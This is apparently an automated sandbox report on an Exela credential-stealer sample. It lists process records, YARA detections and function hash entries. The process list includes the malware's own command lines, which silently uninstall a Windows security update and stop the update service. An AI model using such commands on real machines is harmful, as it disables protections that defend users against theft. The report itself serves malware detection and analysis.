Commandline:	"C:\Users\user~1\AppData\Local\Temp\Exela.exe"
Imagebase:	0x7ff75ae90000
File size:	9'949'634 bytes
MD5 hash:	0615D49BE12C174704A3DAAD945F7B56
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	01:11:05
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Exela.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\Exela.exe"
Imagebase:	0x7ff75ae90000
File size:	9'949'634 bytes
MD5 hash:	0615D49BE12C174704A3DAAD945F7B56
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 0000004D.00000003.2068669850.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 0000004D.00000003.2070969941.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000004D.00000002.2093996201.0000019BB72E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 0000004D.00000003.2072039698.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 0000004D.00000002.2083587274.0000019BB56B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 0000004D.00000002.2083587274.0000019BB56B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 0000004D.00000003.2074477936.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 0000004D.00000002.2084894174.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 0000004D.00000003.2069028034.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000004D.00000002.2087167617.0000019BB60C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 0000004D.00000002.2086690451.0000019BB5FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 0000004D.00000002.2086690451.0000019BB5FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000004D.00000002.2086690451.0000019BB5FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	01:11:06
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6051e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: sc.exePID: 6352, Parent PID: 3896

General

Target ID:	79
Start time:	01:11:06
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	01:11:06
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	01:11:06
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	01:11:07
Start date:	12/01/2025
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6f90b0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	01:11:08
Start date:	12/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	122
Start time:	01:11:10
Start date:	12/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	132
Start time:	01:11:11
Start date:	12/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	158
Start time:	01:11:14
Start date:	12/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	162
Start time:	01:11:14
Start date:	12/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	173
Start time:	01:11:16
Start date:	12/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	190
Start time:	01:11:18
Start date:	12/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	237
Start time:	01:11:24
Start date:	12/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	256
Start time:	01:11:28
Start date:	12/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFAAC340A21 Relevance: .5, Instructions: 516COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4a90e4bfe29420a8fc0263b09bd98959657934b1bcf3e063fd44fdc6baa03e1
Instruction ID: 7f092239f0046bdca750dd0ccfff50aa2b01d56f9ec445a41d2746d44c036c08
Opcode Fuzzy Hash: e4a90e4bfe29420a8fc0263b09bd98959657934b1bcf3e063fd44fdc6baa03e1
Instruction Fuzzy Hash: 01F15030B199198FEB99EB28C554ABDB3A1FF59312F118679E41EC32D2CE34EC458790

Function 00007FFAAC34065D Relevance: 3.0, Strings: 2, Instructions: 519COMMON

Download Yara Rule

Strings

3CN_^, xrefs: 00007FFAAC3408C0
N_^, xrefs: 00007FFAAC3406C9

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID: N_^$3CN_^
API String ID: 0-3209449023
Opcode ID: 398dcf14cb2f98c5bb668d2a26af58a6fa2fa85fb075e7cfae0bee5910d88bc8
Instruction ID: 5d6feb7c3dd37dfd6a9518cdee88b8395beb26f1aa7a74e278e1809148f031e2
Opcode Fuzzy Hash: 398dcf14cb2f98c5bb668d2a26af58a6fa2fa85fb075e7cfae0bee5910d88bc8
Instruction Fuzzy Hash: CF31EA52E0EB828BF611637CD9669E57F60DF93226F0841B7D18DC61E3DD0DA40A83E1

Function 00007FFAAC3415AD Relevance: .5, Instructions: 526COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0bec0b30b5c71cc8d30bf054543c7b288fa14e500bebb320e2ce1a13f4ba689
Instruction ID: 703ced0e6fce63863b0cf1a4adf9971cd4ab12a1fc7b1787d6f00c710aa1aaca
Opcode Fuzzy Hash: e0bec0b30b5c71cc8d30bf054543c7b288fa14e500bebb320e2ce1a13f4ba689
Instruction Fuzzy Hash: B9C12852B1DE858FF798AB38C859BA8BBD1FFA5311F0841BAD54DC3293DD28984483D1

Function 00007FFAAC3404A8 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b5b9cf6e8930dc60d0e80fdb66481f04659be6b975880477069e3c95141e9b3
Instruction ID: 8751e7e3c4f74044618ce87e3ae04749bb409740601cb184a2c403def269eba9
Opcode Fuzzy Hash: 4b5b9cf6e8930dc60d0e80fdb66481f04659be6b975880477069e3c95141e9b3
Instruction Fuzzy Hash: D9A10461B18E494FF788EB3CC859BB8BBD2EF99311F084179D54EC3292DD28984587D1

Function 00007FFAAC341B1E Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ed5427af39b0f1aad84489ede2032ebae481df8472521d98e5c07c33943667c
Instruction ID: ce5af8055417fd8513fc3e8ea570dd9ff812549d088db4ddeb1e0c8aace33094
Opcode Fuzzy Hash: 6ed5427af39b0f1aad84489ede2032ebae481df8472521d98e5c07c33943667c
Instruction Fuzzy Hash: FE313B61909B8E8FE78297A8D8515FDBFF1EF87211F0440BAC00ED75A7CD1C580683A1

Function 00007FFAAC3411B9 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e989e2886fa204d1dc31cf71b677cd081b9fbb41f365f11e667ba0c576abbc7
Instruction ID: ca56e5e848db5cf7b8de903386127ba51b23786aa2c23470effce89893d5bbaf
Opcode Fuzzy Hash: 0e989e2886fa204d1dc31cf71b677cd081b9fbb41f365f11e667ba0c576abbc7
Instruction Fuzzy Hash: F421A475A68D994FE795EB3CC461AB9B7D5FF99304B0441B6D00EC32A2DE28AC0587D0

Function 00007FFAAC341C69 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3167d0321e9736f7cb44ee425736880004ceaac8f03ecaede1edaecb65a981b1
Instruction ID: d273cc4f5990a090e11a35179fe96a0b63b66ce5f47d45804fca83f7e0ee1862
Opcode Fuzzy Hash: 3167d0321e9736f7cb44ee425736880004ceaac8f03ecaede1edaecb65a981b1
Instruction Fuzzy Hash: 4121B471B09A588FE755BB38C4956B977A1FF8A305F0041FAE00EC3292DE2DDC458381

Function 00007FFAAC3412A9 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4706fd74fa7fad6d64fefcf23a45cdf36a86da50694b3b57972883124ef5d43
Instruction ID: b018e8f5067fa67cb8bb92f0c58dffbd30e3b02577ec2d95402606c03221d131
Opcode Fuzzy Hash: b4706fd74fa7fad6d64fefcf23a45cdf36a86da50694b3b57972883124ef5d43
Instruction Fuzzy Hash: 86115C52A4ED850FF354A37C98679F1BBD5DB9722170541B6D14DC3193DC0C9C8783A1

Function 00007FFAAC3404C0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7a9b1bfd1817d84694c227077304afe40e646e3b7f07dcab90534ebc3ec76a1
Instruction ID: bd471af454c6cfab2a51a612f46e57984fd69d4f1aa809390e50c0922226a1e2
Opcode Fuzzy Hash: a7a9b1bfd1817d84694c227077304afe40e646e3b7f07dcab90534ebc3ec76a1
Instruction Fuzzy Hash: FC116075A28D594BE795FB3CC451AB9B395FB99304F0045B9D00EC36A2DE28A8058790

Function 00007FFAAC3404C8 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93ea5ae74571c36c3cc2057543e39ac6e9513cab2f6f1f69674dffdd38a094fa
Instruction ID: f8a055658b22fde9ba609ceddf79c9f96c6fa54ea8d10b4b3a6dffbbc616eaa0
Opcode Fuzzy Hash: 93ea5ae74571c36c3cc2057543e39ac6e9513cab2f6f1f69674dffdd38a094fa
Instruction Fuzzy Hash: 7B11A331715D1C8FE765BB38C455BB97295FB89306F0045BAE00ED3292DE29DC458780

Function 00007FFAAC3404B0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afde3b4e0a93d2a2053665e55ec768a6ae922be14111a181ab85c3ee77d1ec0b
Instruction ID: b86baa08082fcdedafc33af0633d1eedb75b8ff9432f4a3da6455f4036bd020a
Opcode Fuzzy Hash: afde3b4e0a93d2a2053665e55ec768a6ae922be14111a181ab85c3ee77d1ec0b
Instruction Fuzzy Hash: 18F02D02F09D090BF7A8B57D9499AB5B7C5D7DA221B404179E10DC2292DC08DC464390

Function 00007FFAAC3409E6 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1785252914.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac340000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55835af90a46c5b747b51da8f2beabaf701851d748f74669053c4a5f2eac072b
Instruction ID: de08d4dad482dff1c0499f2151a403b27d77787ab54a2f10db75d5a9d00276c5
Opcode Fuzzy Hash: 55835af90a46c5b747b51da8f2beabaf701851d748f74669053c4a5f2eac072b
Instruction Fuzzy Hash: E8E0CD10B18A154BE784F62CD441D7973D1D7A4754F444074F80DC32A5CD1CDB8143C1

Analysis Process: powershell.exePID: 1512, Parent PID: 5852COMMON

Executed Functions

Function 00007FFAAC41660A Relevance: .4, Instructions: 425COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1461240755.00007FFAAC410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcd5d1d9d0747b166c89bb63afab52cdef1530c9d073342bdb9c367b12712e3d
Instruction ID: 67790b15dae193504b1e92710bcdbb1735b96a20254191193f4653304671ef67
Opcode Fuzzy Hash: bcd5d1d9d0747b166c89bb63afab52cdef1530c9d073342bdb9c367b12712e3d
Instruction Fuzzy Hash: 87C15862D4EB8A8FF755DB6888195F9BBE0EF02218B0841BED58DC70D3DA18D809C3C5

Function 00007FFAAC349EFB Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1460740170.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702c9f9d6bf47194a1354e9306691208737afffedd09ebbaab158abb8f93f643
Instruction ID: b7ac3ddad40f53fe79dcd630e6db920d2771d078b5bda0175ed4860c25ef18c0
Opcode Fuzzy Hash: 702c9f9d6bf47194a1354e9306691208737afffedd09ebbaab158abb8f93f643
Instruction Fuzzy Hash: F571316390AB868FF705975CE8768F97F50DF52227B0C83B3D48D8A1A3FD14645A46E0

Function 00007FFAAC416647 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1461240755.00007FFAAC410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd40463a169b0cfeb9af2d093830cf1f6d7cf8831dfe786e5dd88440f7297497
Instruction ID: 79dd216baad71dbe0fde65e3238285e86e023dcf071b5d1710c93cc8f285f19f
Opcode Fuzzy Hash: cd40463a169b0cfeb9af2d093830cf1f6d7cf8831dfe786e5dd88440f7297497
Instruction Fuzzy Hash: 5E811466D4FB868FF795DB6848695B8BAD0EF02218B1881FED58DCB0C3C918DC0983C5

Function 00007FFAAC349758 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1460740170.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e205bf163a2df8b39513673f97e020b0675b669ff2610936f703cf707934f13c
Instruction ID: f411d823db888aa713944219ed69b4720d9412307416f630693eb65d12728848
Opcode Fuzzy Hash: e205bf163a2df8b39513673f97e020b0675b669ff2610936f703cf707934f13c
Instruction Fuzzy Hash: B0310C7190CF488FEB58DB5CEC46AA97BE0FB99311F10822FE04D93252DA30A855C7C2

Function 00007FFAAC22E620 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1460192107.00007FFAAC22D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC22D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac22d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38433f0ba7f99cce66993b48f78a5a29b5a4c4b77ac2755da4b0cda258729daa
Instruction ID: 3d33052aad600e2e82f6729997ae7616ad4ede9d141131afa13c134a12488b92
Opcode Fuzzy Hash: 38433f0ba7f99cce66993b48f78a5a29b5a4c4b77ac2755da4b0cda258729daa
Instruction Fuzzy Hash: 9741257040DBC48FE7569B2998459623FF0EF57320F1505DFE088CB1A7D629E84AC792

Function 00007FFAAC34A47C Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1460740170.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c023b0ffdf097fa6af164026801078a9a1e03581662be439f1f0a06a12c035a3
Instruction ID: 0271e6791920a9b3d5bb0b9134fc27c67e7844fb7ecdbded287a0d8cf6f292f9
Opcode Fuzzy Hash: c023b0ffdf097fa6af164026801078a9a1e03581662be439f1f0a06a12c035a3
Instruction Fuzzy Hash: 5D21283190CB4C8FEB59DBACD84A7E97FE0EB96321F04416FD048C3152DA74945ACBA2

Function 00007FFAAC3433B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1460740170.00007FFAAC340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 20e8a060b539b53db3fc0320dd1806c5da9e29431e4e39bc3b3edf9bb3233b1d
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: C201677111CB0C8FD744EF0CE451AA5B7E0FB95364F10056DE58AC3661DA36E882CB45

Function 00007FFAAC41414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1461240755.00007FFAAC410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9501c9666cb96d69163b01ad674e9e03a63af73ad085eab9dc77d9e935bb40c
Instruction ID: cc3f163dab0cddd16f152d057789c92e49bfcb4f1806716b55ea64343dfdc7aa
Opcode Fuzzy Hash: e9501c9666cb96d69163b01ad674e9e03a63af73ad085eab9dc77d9e935bb40c
Instruction Fuzzy Hash: 57F0BE32A4D5458FE758EB5CE4498E873E0EF5633471140BAE09DC71A3CE26EC44C784

Function 00007FFAAC414400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1461240755.00007FFAAC410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad16d1a489d4d1946dad305ab876ede24c962f7433bb83db4774ed3a96d54777
Instruction ID: 8aad8a823dab37e3164fe2bf633ba2bf588aefb353e00e82f66df03a3f92150c
Opcode Fuzzy Hash: ad16d1a489d4d1946dad305ab876ede24c962f7433bb83db4774ed3a96d54777
Instruction Fuzzy Hash: 58F0E232A4D5448FE758EB5CE0458E8B7E0FF0532474140B6E08DC7063CB26EC44C780

Function 00007FFAAC4141D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1461240755.00007FFAAC410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: baf56015c9a8f49d95357cac2ce78598e73253783a323b91ec9f66ea4b70a3e2
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: E4E01A31B8C809CFEAA8DB0CE0489E973E1EB9933571151B7D18EC7561CA22EC559BC4

Analysis Process: Solara.exePID: 2044, Parent PID: 5852COMMON

Executed Functions

Function 00007FF6284A1140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1533330740.00007FF6284A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6284A0000, based on PE: true

Associated: 00000007.00000002.1533250834.00007FF6284A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.1533359928.00007FF6284AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.1533392164.00007FF6284AF000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.1533434079.00007FF6284B0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.1534093445.00007FF6289A4000.00000004.00000001.01000000.00000009.sdmpDownload File
